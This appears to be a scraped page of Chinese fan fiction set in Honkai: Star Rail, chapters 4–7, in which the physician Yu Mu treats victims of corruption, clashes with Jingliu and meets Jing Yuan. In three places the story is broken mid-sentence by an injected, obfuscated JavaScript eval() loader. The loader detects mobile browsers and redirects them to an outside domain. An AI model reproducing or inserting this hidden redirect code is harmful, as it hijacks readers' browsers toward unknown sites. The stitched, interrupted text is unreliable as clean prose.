天际飞散的流云随风浮动,夜幕四合,长乐天的商肆亮起灯盏,人声鼎沸,透过精心雕琢的园景格窗,能瞧见街头长明的莲花灯饰。 室内温暖,庭中苍树茂盛,在黑暗中静静伫立。身后被窝里的持明发出细弱的咕噜声,郁沐翻了会手边的书籍,困意大概是会传染的,没过一刻钟,他就不愿再看了。 起身,打算夺回自己被霸占的温暖床褥,搁在桌上的玉兆却突兀地响了。 郁沐身形一顿,思忖片刻,不为所动,坚定地朝枕头走去。 叮叮——! 玉兆的清泠脆响持续不断,余音绕梁,缠绵不休。 “说好的做三休二,不上夜班呢?” 郁沐不舍地凝视着近在咫尺的被窝,视线灼热,仿佛能将棉花点燃。 可玉兆还在响,还在响。 玉兆晚上很少响的,如果响了,就是有急活——棘手到查遍古籍也不得解、难办到最少要向上打三层报告,最重要的是,抢救成功率低,没有加班费,容易背锅。 玉兆吵到了持明,持明的尾巴卷起云朵般的被子,不耐地轻轻拍动。 郁沐认命地调转方向,打开玉兆,阻止铃声继续扰龙清梦。 一则通知弹了出来,外加一个工作群组聊天框。 「@丹鼎司大家庭紧急协助任务已发布: 地衡司亟需魔阴疑难研究和魔阴身控制处置经验丰富的丹士进行理论协助和病况分析,有意向者请立即前往地衡司,联络主办人‘羽偕’。」 「“又是这个协助任务,好像三天了都没人接吧,这会怎么成紧急了?” “有人去过,一开始以为是个肥差,结果是个脏活。” “魔阴身控制处置?发错部门了吧,左转拨号十王司,慢走不送。” “突然就紧急任务了……之前还只是普通的协助,不会真有什么大事吧?” “能有什么大事,就是看没人去,恼了,强拉人呗。” “真没人去吗,我可以试试,报酬二十万巡镝呢,我缺钱。” “上面的,知道为什么报酬这么高吗,这种任务,一般都是跟药王秘传有关。” *因用户***发布涉密言论,已被玉兆仙舟系统1号侦查员禁言* “啊?我来的晚,楼上说什么了怎么被禁言了。” “笑死了,楼上狗胆包天这四个字也敢说,听兄弟的,聪明人都知道别碰,干得好应当应分,干不好拿你是问,运气再差点的直接堕入魔阴下辈子见。” “我比较好奇,一般这种任务都是谁去。” “被司鼎和丹士长钦点的小倒霉蛋咯,可惜咱们现在司鼎空悬,丹士长不在,没有‘经验丰富者’出来干脏活。” “楼上几个是不是发错消息了,这里是大群……”」 郁沐随手翻了翻群组里的内容,对药王秘传的内容并不惊讶。 药王秘传,自仙舟人追迹无量形寿便存在的丰饶信徒,以发掘禁忌丹方,复兴仙道之秘为伟业,如同仙舟星槎翱翔于天时投下的阴影,始终未曾根除。 三天前,自地衡司发布了一则语焉不详、遮掩神秘的求助任务开始,丹鼎司内部对此的态度就在暗地有所分化,年长的丹士讳莫如深、鲜少讨论,年轻气盛的丹医则被‘好心告知’不要多管闲事,颇耐人寻味。 郁沐思索片刻,不想趟浑水,将玉兆放下的下一秒,群组跳出消息,玉兆震动。 叮—— 与此同时,身后,埋首在被子里不堪其扰的持明凶狠张嘴,不耐烦地咬穿了被子,塞满的棉花一涌而出。 “……” 郁沐转头,望着香香被子的尸体,长久沉默。 「“要我说,这紧急任务老在上头挂着也不行,天天叮当响,烦人,干脆直接推选一个去解决得了。” “说得容易,你去?” “我去不了,我又没有经验,但咱们这不是有一个大名鼎鼎的神医吗,能被神策将军钦点,这点小事不在话下吧?” “人家后台硬着呢,这脏活能派人家手里?楼上想什么呢。” “哎呀,瞧我,天真,要是地衡司那群人问起来,咱们面上可真挂不住。” “有什么挂不住的,天纵奇才都不去,咱们去了有用?” “要不咱给他报上得了,名单上有人了,地衡司就不至于说别的,这也是咱们丹鼎司的民意嘛。”」 郁沐看着玉兆里不断弹出来的消息,思索片刻,解除匿名模式,敲下一个字。 「@郁沐:“好。”」 一直震动的玉兆突然没声了,界面凝固,仿佛冰封。 「@郁沐:“能者多劳。”」< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“堕入魔阴了,是吗?”郁沐合上报告,“而且症状与灭门案的凶手如出一辙。” “没错,我们怀疑整件事与药王秘传有关,但无论是堕入魔阴者还是尚在昏迷者都没法开口说话,丹鼎司的丹医来诊断过,也束手无策,查不出原因。” “能带我去看看还活着的幸存者吗?”郁沐拿起出外诊用的药箱。 “当然!我这就带您去。”羽偕推开门,抓着郁沐的袖子,步履生风。 —— 集体失踪案救出的昏迷者们被安置在长乐天最偏僻的宅群里,少了灯光指引,漆黑天幕覆下,夜行人穿梭其中,难免会有森冷可怖之感。 临近宅邸,面色严肃的云骑军在宅门前警戒,手中阵刀冰冷雪亮,在查验羽偕的过门讯碟后,才将二人放行。 走进院落,负责守卫的云骑沉默伫立,偶尔有几个地衡司职员步伐缓慢,时而停步,用案本记录着什么。 大门敞开的房间内,一个个幸存者宛如死尸,躺在地上,在云骑的戒备中兀自沉睡。 “为什么不直接移到方便看押的幽囚狱?一旦失踪者堕入魔阴,会危及周围的居民吧?” 死寂到只有鞋底摩擦青砖的宅院中,郁沐的声音令所有人偏转了视线。 羽偕回头,只见郁沐站在夜色中,丹鼎司的修身制服显得他颀长纤瘦,体格略微单薄,柔和的金色短发在光下根根分明,如同细丝。 他既不惊讶,也不担忧,更不哀伤,手里拿着一支便携针剂,玻璃针管里流淌着淡色药剂,瞥来时,有种万事浮掠的平静和寂寥感。 “因为只要一被挪动,他们就会魔阴缠身,沦为孽物。”云骑队长道。 郁沐了然道:“就像是被操控了一般,对吧?” 云骑队长在面甲下蹙眉,凝重地看向郁沐,但对方已经蹲下,开始诊病人的脉。 羽偕后知后觉地回过味来,连忙蹲到郁沐身边,努力克制声音里的激动。 “他怎么样?你能救吗?” 郁沐没回答,因为他发现,他诊不出脉来。 “这人走了有一会了。” 羽偕眼里没光了。 “他没有外伤。”云骑队长提醒。 “那就是内伤。” 说着,郁沐起身,拍了拍衣摆,准备到下一个还活着的病人那里去,谁知刚转身,肩膀上就是一重。 伴随着羽偕的尖叫和云骑军的怒喝声,一片金黄的叶片从郁沐身侧掠过。 他回头,一个被金黄孽枝畸变血肉的人形就站在他面前,一手紧紧扣着他的肩骨,癫狂地来回摇摆。 郁沐感受着肩膀上强有力的手劲,一时间拿不准主意。 他是该喊救命呢,还是嗨老乡呢? 5. 第5章 “低头!” 云骑队长声如洪钟,暴喝一声后,寒光凛凛的阵刀一记横扫,刀光几乎拉出残影。 郁沐蹭地低头,视线抬起时,只见一颗长满金枝的头颅横飞出去,滚了老远。 他心有余悸地摸了摸自己的脖子,被吓得不轻的羽偕扑上来,从脸颊摸到肩膀。 “你不是说那人走了吗,这也没走彻底啊!”羽偕确认郁沐完好无损,声音里带着哭腔,双腿一软,差点跪下。 郁沐撑住对方的膝盖,无奈道:“别哭了,我没死,你的安全奖金还保得住。” “你有没有心,我是哭那点奖金吗!”羽偕又哭又骂,“兔崽子会说话吗!” “兔,兔崽子,我吗?” 郁沐茫然地重复这三个字,正想为自己的年龄正名一下,鼻端突然扫过一阵熟悉的香甜。 他浑身一僵,像渴血的狼兽嗅到猎物,心脏咚地重重一跳。 “等等!” 他视线精准定位,喝住要补刀的云骑,推开羽偕,从药箱翻出取血计,精准扎在了那个堕入魔阴的人的手臂上。 取血计液面上升,一种淡淡的金黄液体先是充盈容器内部,只待郁沐看清内里闪烁的金色光点,就见液体倏然蒸发,消失得无影无踪。 郁沐晃了晃取血计,盯着对方身上畸变出的枝叶沉思。 “没用的,之前的丹医,还有云骑们都想过这个办法,但没有丝毫收获。”羽偕抹了抹眼角道,“这东西跟平时见到的很不一样。” 郁沐思索片刻,向云骑借了一把小短刀,刀刃卡在尸体的右手铠甲边缘,手腕用力,将整片铠甲都斩了下来。 “嘶。”旁观的羽偕感到手臂一凉。 铠甲内部是螺旋状盘根错节的血肉和枝叶,以一种奇怪的蛛网般的纹路生长。 “种子。”郁沐抚摸着那片扭曲的血肉,低声呢喃。 “什么?”羽偕没听清他在说什么,连问。 没有回应羽偕的疑问,郁沐抬头,对队长说:“能帮忙确认所有堕入魔阴者的右臂铠甲下,是不是有类似的血肉排布方式呢?” 说完,他又拍了拍羽偕的手:“还有那些昏迷者的幸存者,如果没错,他们的右臂或许都会有一个小小的疤痕……左臂也可能。” 得到他的指令,云骑和地衡司的职员都动了起来,很快,吸气声此起彼伏。 “报告,从南窗房救出来的三名幸存者有!” “中堂的十三名幸存者也有。” “外厅的魔阴身者也有类似的螺旋纹路。” “……” “看来你的判断是正确的,丹医。”队长轻磕了一下阵刀,止住院落里的报告声和窃窃私语声,面甲微垂。 他看着郁沐从药箱中拿出简易的制药器皿,一字排开,动作娴熟又利落地配比药剂。 他的衣摆垫在满是灰土的砖石上,染了尘埃,在月色下灰蒙蒙的,又衬得他的金色无端温柔耀眼。 “有事?”察觉到队长的视线,郁沐没抬头,声线略低,听起来有冷淡。 “没什么。”队长看向远处:“没想到丹鼎司也有可用之才。” “我报考岗职的时候,第一选择是云骑。” 郁沐抬头,一手捏着玻璃外壁,手指压住按压栓,向里灌注药液。 “我有,两个还算认识的人,都在云骑军。” “你这个体格当不了云骑。”队长相当现实地给郁沐泼凉水,“你的能力,也不适合做云骑。” 郁沐恩了一声。 他一不再说话,气氛就有些尴尬,好在郁沐的动作非常快,没过一会,就配好了三支便携注射剂,交由云骑去注射。 由于倏忽之战和饮月之乱,哪怕是文职人员也不得不学习防身和保命的技能,更别说冲锋在最前线的云骑。 最后一支递给队长的时候,郁沐突然道:“请小心。” 队长伸出的手一顿,几秒后,才握住针剂。 他看清了郁沐眼底的凝重,而自进门起,对方就未曾表露过丝毫警惕,分明游刃有余。 郁沐望向被院落围闭的四角天空,冷风穿堂。 远处,注射了药剂的患者缓缓转醒,云骑和地衡司的职员们发出惊喜的气声,随着几声咳嗽,药剂生效,最先试药的三人恢复神智。 “太好了,终于有救了!”羽偕先是激动地催促身边的记事官拿保暖的毛毯和热水来,又看向院落里望着什么的郁沐,道:“小神医,别发呆,再多配几针药剂!” “刚才不是还叫兔崽子吗。” 郁沐收回目光,不痛不痒地抱怨了一声,几乎在他走向药箱的一瞬间,熟悉的异香卷土重来。 浓郁得几乎要淹没嗅觉。 下一秒,他脚边一个躺在地上的患者,忽然仰面睁眼,血肉闪烁金光,生发枝丫,异状迅速爬遍全身。 一秒之内,羽偕的表情从欣喜,惊恐,变到绝望。 速度快到人无法反应,郁沐还没等后退,只见对方张开被硬甲覆盖的嘴,手臂骨枝化刃,照着郁沐的胸膛砍去。 “小——!”羽偕还没等发出声,只感觉腹部被人重重一拧,视野旋转,竟然被人拦腰提了起来。 叮! 刀兵相撞,气浪翻覆,蠕动着血肉的枝桠掉在地上,不断裂变生长。 耳边传来沉重的怒喝,羽偕头昏脑胀,一抬头,只见队长一手握着阵刀,正与一名高大的魔阴士卒相持,而那枝桠,是队长从对方身上斩断的。 “云骑,列阵!堕入魔阴者杀无赦,一个都不许放出去!” 差点被砍成两半的羽偕瞬间失声。 吼声震醒了所有云骑,羽偕环视四周,发现除了注射了药剂的三人之外,所有昏迷中的受害者,居然全部都堕入了魔阴身。 地上铺满了金色的落叶,枝叶吞噬血肉,从其中生长的摩擦声令人发自内心地恐惧。 云骑三两一组,迅速围拢,连年征战,兵祸不断,云骑的迭代速度异常之快,老兵新兵混杂,除去一开始的慌乱,自队长发号施令后,便显出了云骑的威能。 只可惜,郁沐身边的云骑离他太远,来不及援护。 郁沐后退一步,左手攥拳向外挡了一下,震断了对方手臂上还未长结实的骨刃,然后,将右手横在身前,塞进了对方的嘴里。 牙齿咬合,血飙了出来。 郁沐疼得一蹙眉,他用力撞向对方,齐齐滚在地上,膝盖狠狠压住对方腹部生出的枝桠,手臂肌肉缩紧,克制住孽物的挣扎,沉重的呼吸扑在那张狰狞的脸上。 血液顺着口腔流进食道,滚烫的红色溅落在金色枝叶上,宛如岩浆,烧灼出一个个孔洞。 那颗血肉夹杂着枝叶的头颅,魔阴的症状在退行,渐渐浮现了人类的五官轮廓。 先出现的是一双深蓝色的眼睛,被绝望和嗔怒撕扯,时而冒出肉芽,时而变为瞳孔,很快,被重塑好的眼眶流出泪来。 金色的泪。 “救救我,求你……” 半人半孽物的生命发出几乎不可辨认的声音,他的手半是枝桠,半是夹杂着骨片和血管的血肉,融合在一起,难以分开。 他用力地攥住郁沐的衣角,泪一滴滴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775813|157893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淌下来。 “我知道。” 郁沐的声音冷静得过分了,他斩钉截铁地咬字,伸手去抓散落一地的药剂瓶子。 可瓶子滚的太远了,而且,他还没配好药! “救救我……”对方用嘶哑的声音恳求着。 “我知道!你服下的倏忽的血肉不多,你还有救!” 他抓住了瓶子,用牙咬开瓶塞,黄石白参的粉末有一股刺鼻的草木味道,未经研磨,干燥得像是白灰。 他没察觉到,自己的手在抖。 该怎么服下?灌进去吗?有用吗? 郁沐捏着药瓶的手鼓起青筋,如同皮下漫开的细嫩枝条,勃勃地跳动着。 然而,电光石火间,膝盖下压制的身躯突然停止了颤抖,血肉像是被侵蚀了一般,从内到外开始腐烂,郁沐意识回笼,定睛,陡然发现,曾咬住他手臂的那张嘴,已经烧灼得失去形状了。 他的血,过量了。 “爸爸,妈妈……好疼啊……” 孽物发出了最后一点属于人类的声音,然后,那只深蓝色的眼睛爆开,变成了一滩蠕动扭曲着的叶芽。 咚。 药瓶砸在了地上,滚出很远。 郁沐的脊背一下垮了,衣服被汗水浸湿,显得他纤瘦又弱不禁风,额发遮住眼睛,只露出抿得平直的嘴角。 血凝了,被咬烂的衣袖露出一道齿痕清晰的伤疤,结了血痂,通红一片。 几秒后,郁沐狠狠咬了一下牙,再抬眼,瞳孔里燃烧着冰冷的怒火。 他站起身,拿起先前队长给的匕首,锁定了一个方向。 很近。 因为罪魁祸首总是喜欢在近处欣赏自己一手制造的惨案。 “等等,你要去哪!” 队长刚从重围中杀出来,就看到弱不禁风的丹医跨过一地血肉,朝着某个方向迈步,正欲跟上,又被横空出来的敌人阻断。 郁沐一脚踹开偏院的门,将云骑远远甩在身后,单手翻上院墙,循着血脉中再熟悉不过的鼓动辨认方向,他速度非常快,在深巷的转角停下后,迎面飞来一具躯体。 郁沐扬起手,看都没看,匕首上斩,将对方分为两半。 然而,当他抬眸时,眼前的景像犹如另一方地狱。 是霜凌。 不知从何而来的冰霜将地面划分出数道弧线,如同潇洒自逸的斩击在地面破开的纹路,无数药王秘传的尸体冰封在那一个个比人高的冰柱中,表情或惊恐,或绝望,隔着冰面,都能感受到对方临死时的歇斯底里。 郁沐向前一步,忽然,一道人影印在地面上。 他猛然抬头,只见澄月高悬,一个身着云骑银铠的白发女人立在高墙飞檐上,手中长剑斜垂,剑光凛冽。 郁沐看不见对方的眼睛,只能看清那挥之即斩的碎月飞光。 “斩尽,孽物。” 凄冷又癫狂的女声,随着剑出的刹那袭至耳边,屏息之间,月光倾落,斩至眼前。 向后一退,匕首与剑锋斜擦,剑尖挑开锐器,对方身如鬼魅。 “镜流!” 郁沐唤了一声,但显然,对方没有任何反应。 “你千万别告诉我,你堕入魔阴身了。” 郁沐气还没喘匀,伸手抵了镜流一剑,掌中匕首却被剑尖应声挑飞。 他只得后退一步,视野里,镜流挽了个剑花,不发一言,霜气却在凝结。 “不会吧。” 充分见识过镜流剑术的郁沐揉了揉手腕,苦中作乐地自言自语: “我打前任剑首,真的假的?” 6. 第6章 当镜流如迅疾飞矢掠至眼前,霜刃斩过,低温凝结冰凌,在空中留下一道苍白细线。 郁沐猛地退至十米外,不待他站稳,镜流便追来,趁势下斩。 叮! 尖锐的兵刃碰撞声后,镜流的剑被荡开了。 一抹金光从郁沐掌中闪烁,他凭空抽出了什么,但很快又消失不见。 “孽物。” 薄唇轻启,镜流握紧剑的单手扬起,剑尖落银光,比起最初,她的声音染上了几分疯邪与痛恶。 空中结出细碎冰屑,雪魄森冷,如同天上月。 呼吸之间,冷意刺痛喉管,五脏六腑都在凝结。 “我未伤人,又无意与你为敌,再继续下去,云骑很快就会——” 郁沐话还没说完,碎月般的剑锋就斩断了他的尾音。 他侧身躲避,只见镜流旋身横砍,直接将郁沐抽飞到空中。 紧接着,她原地起跳,轻盈得像一方雪片,剑身沐浴在苍冷的月华中,劈斩而下。 郁沐在空中下坠,巨大的失重感逼迫他睁开眼睛,悚然间,发觉自己居然短暂地昏了过去。 是刚才被抽中脊椎了吗。 他活动了一下身躯,刹那间,身体发出枝条抽发的轻响,断裂成三截的脊柱合了回去。 真不愧是能斩杀孽龙的仙舟剑首,丹枫热衷于和镜流分个高下实在正常。 不过,那次的比试是谁赢了? 记不清了…… 郁沐思绪断了一瞬,又被扑面而来的冷气激醒,他伸出左手,掌心开裂,正欲抽出什么,突然听见后方传来急促又沉重的跑动声。 郁沐瞥去,心里骤然一紧。 是院落里的云骑军,这就追上来了。 “不!别过来!” 郁沐连忙出声,声音却立刻被空气绞碎,无法传达。 为首的高大的云骑队长砍断地面冰凌,十数名云骑紧随其后,他们同时仰头,银甲覆面,即便看不清神情,也能从中体会到他们的惊诧和紧张。 “快离开她的攻击——!”范围。 郁沐刚张嘴,便看见冰棱冻住云骑们的双脚,只一瞬间,就攀到了头顶。 刚才还是活生生的人,现在成了一具具冰雕,而罪魁祸首,不过是镜流不自觉释放的剑气而已。 几抹剑意从郁沐肩头擦过,直奔为首的云骑而去,如同落雨。 一道冷肃的剑光逼近,郁沐抬眼,瞳孔中仿佛要斩破天地的身影俯冲而下。 堕入魔阴者,六尘颠倒,人伦尽丧,魂入浊海,对面不识。 这便是无尽形寿的代价,何其残忍。 电光石火间,郁沐做出了决定。 他左手抵在胸前,金光从手腕生发,与这毁天灭地的一剑猝然相撞。 与此同时,在暴雨般砸落地面的剑气到达前,金叶垂落的枝条拔地而起,如同坚盾,拱卫整条深巷,又在瞬间被剑气绞杀,灰飞烟灭。 燃烧着的金绿色枝叶残骸如萤火,随飓风向外飞散。 砰! 惊雷般的余波荡开数十里,气浪外冲,楼房震颤,防风铃作响,全城哗然。 郁沐重重砸向地面,落地时一滚,避免了粉身碎骨的结局。 然而,在先前的冲击中,一整片深巷被夷平,砖瓦碎成齑粉,灰气上浮,视野不清。 挡住了吗? 郁沐向后回望,看见冰雕们安然无恙后缓了口气,没等他喘匀,尘霾中杀出一抹红光。 是镜流的血色双眼映在霜刃上的颜色。 郁沐愣了一下,试图再度抬手格挡,但慢了半秒。 在镜流的剑即将斩下郁沐头颅的刹那,一抹金色的雷霆在上空天云中闪现,电光如流,直冲霄汉。 “煌煌威灵,遵吾敕命。” 有人低吟。 威武的神君自云中脱出,手握朴刀,刃卷横云,挟着雷霆砸落地面。 郁沐后退一步,没站稳,直接被掀飞,飞出去几十米,原以为又要自由落体,却突然撞进一个人怀里。 对方的胸铠坚硬,撞得郁沐后背生疼,好在手掌足够有力,揽过郁沐,避免他在冲击中受伤。 “退后。” 柔软的白色发尾扫过郁沐的脸颊,低沉的嗓音旋在耳畔,他踉跄一步,靠上景元的手臂,站稳。 郁沐偏头,只见景元面容严肃地望着神君俯瞰之下的镜流,金黄色的眼瞳中有光影跳跃。 “下面的云骑拜托你了。” 景元放开郁沐,说完,就从三层楼上跳了下去。 郁沐连忙上前,抓着栏杆向下望,只见景元手持朴刀,冲至镜流面前,刀刃横扫,与剑锋相撞。 兵戈交接之声如击玉穿石,刀光剑影明灭闪烁,快到掠出残影,令人难以用肉眼追上。 “真不愧是师徒,打起架来气势如出一辙。” 郁沐心有余悸地往后一缩,抓着栏杆翻身下楼,忽略耳畔兵兵乓乓的打铁声,快速朝云骑们奔去。 不待接近,冰凌内的寒气便逸散而出,冻得人身心发颤。 他扑到明镜般澄亮的冰柱前,捶了几下,确认无法唤回云骑的意识后,后退了小半步。 丰饶之力数独生发,金光在眼底酝酿,然而,郁沐瞥了眼不远处仍在和镜流缠斗的景元,几息之后,掌中花重归沉寂。 他攥起拳头,朝景元所在的方向大喊:“将军!帮我破掉冰柱!” 呼喊淹没在爆炸声里,郁沐不得不喊了好几声:“将军!” “帮帮我,景元将——!” 嗖——! 一道剑气擦过郁沐的脸颊,狠狠击中身后高大的建筑物。 二层小楼的承重柱被砸断,轰隆隆倒塌。 郁沐慢了半拍,眨了眨眼,轻吸了一口气。 这个方向,他明明已经在镜流的攻击范围外了,是故意朝他斩过来的吧? 他吓得后退一步,又见一道雷霆电射而出,在冰柱上跳跃,电光消失时,冰柱应声碎裂,一个个浑身僵硬的云骑倒在地上。 景元身形一闪,出现在几十米外,朴刀划过地面,凝重地朝郁沐那边递了一眼,这一眼还没看结实,就被凌空而下的镜流砸进了地里。 “年纪大了变成将军,就忘了跟师父对打的时候走神是什么下场了。” 郁沐心有戚戚地啧了一声,“还是太天真了呢,景元。” 完全不觉得自己是罪魁祸首的郁沐退出是非之地,转身跑向最近的云骑身边,他将对方从冰棱中拖出来,诊脉。 寒邪入体,肺腑衰竭,必须尽快治疗。 郁沐习惯性往身后摸,触到坚硬地面时才反应过来,他没带药箱。 “早知道偷学点云吟术了。” 郁沐低喃一声,就在这时,远处传来高呼。 “小神医!我带你的药箱来哇啊啊啊啊这些人是死了吗?!” 无需抬头,单听对方的尖叫就能识别来人,是羽偕。 “现在还没,一会就不一定了。” 郁沐解开云骑的肩甲,在羽偕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“多亏了将军的福,抢救及时,没有人员死亡,最严重的云骑因距离过近,霜寒伤及五脏,需要长期调养。” 听了郁沐的回答,景元点了点头,正在这时,闻讯赶来的云骑踏过废墟,带着紧急驻守的医师涌了进来。 有云骑跑来向景元汇报情况,对方便背过身去,简洁明了地下达指令。 人一多起来,丹医充足,便不再需要郁沐承担更多工作,他收拾好药箱,准备打道回府,合上盖子的刹那,右手突然被攥住。 对方的手异常有力,锁链般箍紧郁沐的腕骨。 不仅如此,对方引着他,缓慢却不容抗拒地把手从药箱上拿开,抬起,越过肩膀,悬至空中。 扫去平和慵懒的表象,神策将军露出了少见的强硬和威严。 即便背身而对,郁沐仍能感受到对方落在他身上的、仿佛要将他完全剖开的锐利视线。 郁沐从未忘记景元是如何镇伏明流、勘破暗涌、翻覆残局、叩关止戈,更未忘记对方是「巡猎」的执棋者、代行人。 神策将军,应是整座仙舟「罗浮」,他唯一的生灭之敌。 郁沐敛下的眸缓慢闭合,月华落背,面容沉在阴影里,他垂着手,几秒后,抬起头来。 顺着对方骨节分明的手指往上看,越过肩甲,与对方再度对视。 他轻挑尾音,声线冷淡: “将军?” 7.第7章 听见这句问话,对方的手攥得更紧了。 手腕传来的力道大得像是要碾碎骨骼,郁沐无法从对方的眼中读出更多友善的情绪,当他忍不住思考最坏的情形时,景元阖眸,开口道: “你受伤了。” 郁沐一怔,紧接着,便看景元抬手,揭去了裹在他右手小臂上残存的片袖,露出底下被先前的魔阴身患者咬烂的伤口。 染了血的布片边缘参差,嵌进咬得血肉模糊的牙印里,深刻见骨,很难不依靠工具就实现清创工作。 “没关系,我自己可以处理。” 郁沐急忙缩回手,奈何对方不肯,钳着他的手不松,拉扯一通,反倒扯到了伤处。 郁沐蹙了下眉。 “你看,医者不自医,还是让丹士为你处理一下吧。” 景元招来最近的丹士,凌乱的白毛遮住眼睛,他说话时嘴角是上翘的,显得他爱兵如子,温和仁慈,只是…… 郁沐瞥了眼对方还焊死在他手腕上的手。 其实不用攥这么紧也可以的,他还没胆大到在神策将军的眼皮子底下造次。 他明明只是一株弱不禁风的植物而已,不值得如此提防。 丹士跑了过来,郁沐不便再推辞,将袖子挽好,垂眸,凝视着对方用镊子一点点夹出碎骨和布屑。 清创结束,丹士松了一口气,“第一次见人受这么重的外伤还面不改色的,真是神奇。” “我吃了阵痛散。”郁沐信口胡诌。 “是吗?药效这么好,是新配方?”丹士上下打量他几眼,忽然恍然大悟:“你是那个……!” 郁沐掀起眼皮,瞟了对方一下,一副还算有兴趣的样子。 丹士视线在景元和郁沐身上转了一轮,欲言又止,直到被差遣去照看其他云骑,都没说出一句话。 望着丹士离开的背影,景元道:“你看起来很失望。” “我不觉得我的表情和先前比有什么变化。”郁沐随口回应,放下被咬得千疮百孔的袖子,用左手提起药箱。 “有的,你失望的时候,这里。”景元侧过身,抬起手,在郁沐的眉心戳了一下,“会皱起来。” 郁沐轻轻拂开景元的手,露出不赞许的眼神。 “确定没有其他伤口了吗?”景元无视郁沐的控诉,笑问。 郁沐坚定地摇头,并毫不遮掩自己的嫌弃,后退半步,警惕地瞥过对方垂着的手。 “我没有别的意思,总不好看着我们的功臣就这么带伤回去,而且,我还想感谢你撑到我赶来,挽救了云骑们的性命。” 景元略有苦恼地举起手,示意自己这次不会再轻举妄动。 “不是我的功劳,请把勋章颁给那些云骑吧,我只是躲在强者身后的最后一个受伤的平民罢了。” 郁沐道。 景元盯着他,片刻后,唇角无可奈何地勾了一下,“依你便是,不过,这次的报告书还是要写的。” “如果将军能撤回后半句话就好了。”郁沐嘟哝一句。 “怎么,后悔受了他人激将,接了这桩麻烦事?” “原来将军喜欢偷窥丹鼎司的内部大群?还是说,这是将军监督六御的某种手段?” 郁沐哼了一声,硬是要刺景元一句。 “谁让有人实名上网呢,想不看见都很难。”景元眼睛微弯。 “只要将军肯换一位常时丹医……” “郁卿,我突然有些头晕目眩,胸闷气短,不如郁卿给我诊一下脉?” “……” 郁沐轻轻咬了一下牙,幻想着自己狠狠嚼碎一个芝麻汤圆的口感,他举起手,示意自己缠了几圈绷带的右手:“将军,您这样压榨病人不会于心有愧吗?” “郁卿不是左手也能诊脉吗?”景元道。 “不能。”郁沐侧过身,这次,他避开了对方的视线,“您记错了。” “是吗。”景元的神色没什么变化,他不在意地笑了笑:“好吧。” “请您另寻其他丹士,我身体抱恙,暂时不能尽职了。”郁沐说完,转身就走,刚踏出一步,便听景元的声音飘来: “郁卿,如果可以,能请你将阵痛散的新配方分享给军中丹医吗?” 郁沐脚步一顿,不耐烦道:“将军,我什么时候说过我有新的……” 倏然,他话音止住。 景元正抱臂望着他,眼眸微敛,看上去平和无害,实际如阴影中潜伏的狮兽,双眼紧盯着面前的猎物,等待对方露出破绽。 郁沐瞬间明白了对方在指什么。 肉骨凡胎无法忍耐的剧痛,唯有孽物能无知无觉。 对方还在注视他的反应,无法,他轻啧了一声,不得不承诺:“我会的。” 说完,他就像再也忍受不了一般,快步离开了。 云骑军被抛在身后,走出将近十里,确认周围不再有具有威胁性的气息后,郁沐转进拐角,停步。 被云层遮盖的月亮散发黯淡的光,街巷窜起风,扫过郁沐破损的衣角。 他放下药箱,抬起左手,衣袖缓缓滑下。黑暗中,一道凌厉又璀璨的银光闪过,盘踞在他左臂的,是一道从手腕贯穿至肘部的巨大裂口。 裂口割开血肉,缝隙被冻结的冰晶充满,封冻筋脉,如同畸变增生的骨刺,透着一股冷酷的妖冶感。 “只是蹭到一点就会变成这样吗?” 郁沐用手指抠下一点冰晶,碾碎,在指腹摩擦,手感像是某种宝石碎屑,削薄,冰凉。 在他思考的同时,被冰霜凝固的左手臂如同崩裂的声音,皮肤下的血肉在扭动、重组,肉芽般的枝叶从毛孔探出,瞬间融合,自伤处顶出新鲜的肌肉组织。 噼噼啪啪,冰晶脱离,散落满地,像浮水中的鹅卵石碎。 仅仅几秒,他的左臂便复原如初。 郁沐看向右手被缠着绷带的部分,思考几秒,放弃了复原的打算。 毕竟已经被发现了,愈合太快反倒会起疑,还有特效阵痛散…… 郁沐长叹,烦恼地捂住额头。 好疲惫。 —— 郁沐总算回到了家。 漫长的、需要不断奔波的夜晚似乎终于能画上句号,他走到外廊,将身上带着的外界的气息清除干净后,打开外廊和卧室连接的门。 门缝刚露出一道窄窄的细缝,一条搭在门板上的尾巴便缓缓垂了下来,填满了门缝,露出一点点尖尖来。 尖尖柔软,在月光的照耀下,像是光滑的绸缎。 睡姿好差的持明。 郁沐捏了捏持明的尾巴,尾巴缩进门内,他打开门,抱起睡到地板上的持明,打算将它放回被褥上,谁知对方龙躯一卷,攀到了他身上。 饮月卷得相当紧,龙须拂过郁沐的脖颈,有少许痒意,存在感很强,郁沐能清晰感受到尾尖掠过的弧度。 “今天的睡姿似乎额外差,是有什么原因吗?” 郁沐思索着,摆脱不了饮月的束缚,只好抱着对方走到桌边,费劲地腾出一只手,打开古籍。 没找到有用的信息,针对龙狂后遗症的研究典籍寥寥无几,样本更屈指可数。 可能只是单纯喜欢攀葡萄藤架? 得不出所以然来,郁沐决定先不想了,暂且确定对方状态没有太大变化,他坐在桌前,点灯,抽出一张写报告用的纸笺。 拿出笔,扫开在桌面胡乱摆动的龙尾,郁沐用简练的语言写了几行,正要抬手,右手臂突然一沉。 有什么东西压了上来。 光滑的、冰凉的、笔直但略微带点弧度的龙角卡在虎口,令他难以移动笔尖。 “饮月,你碍事了。” 郁沐用大拇指抵着饮月的脸,想叫醒对方,但无济于事。 持明更放肆地枕着他的手臂,挪动到他的掌心,寻了一个舒服的位置,继续睡。 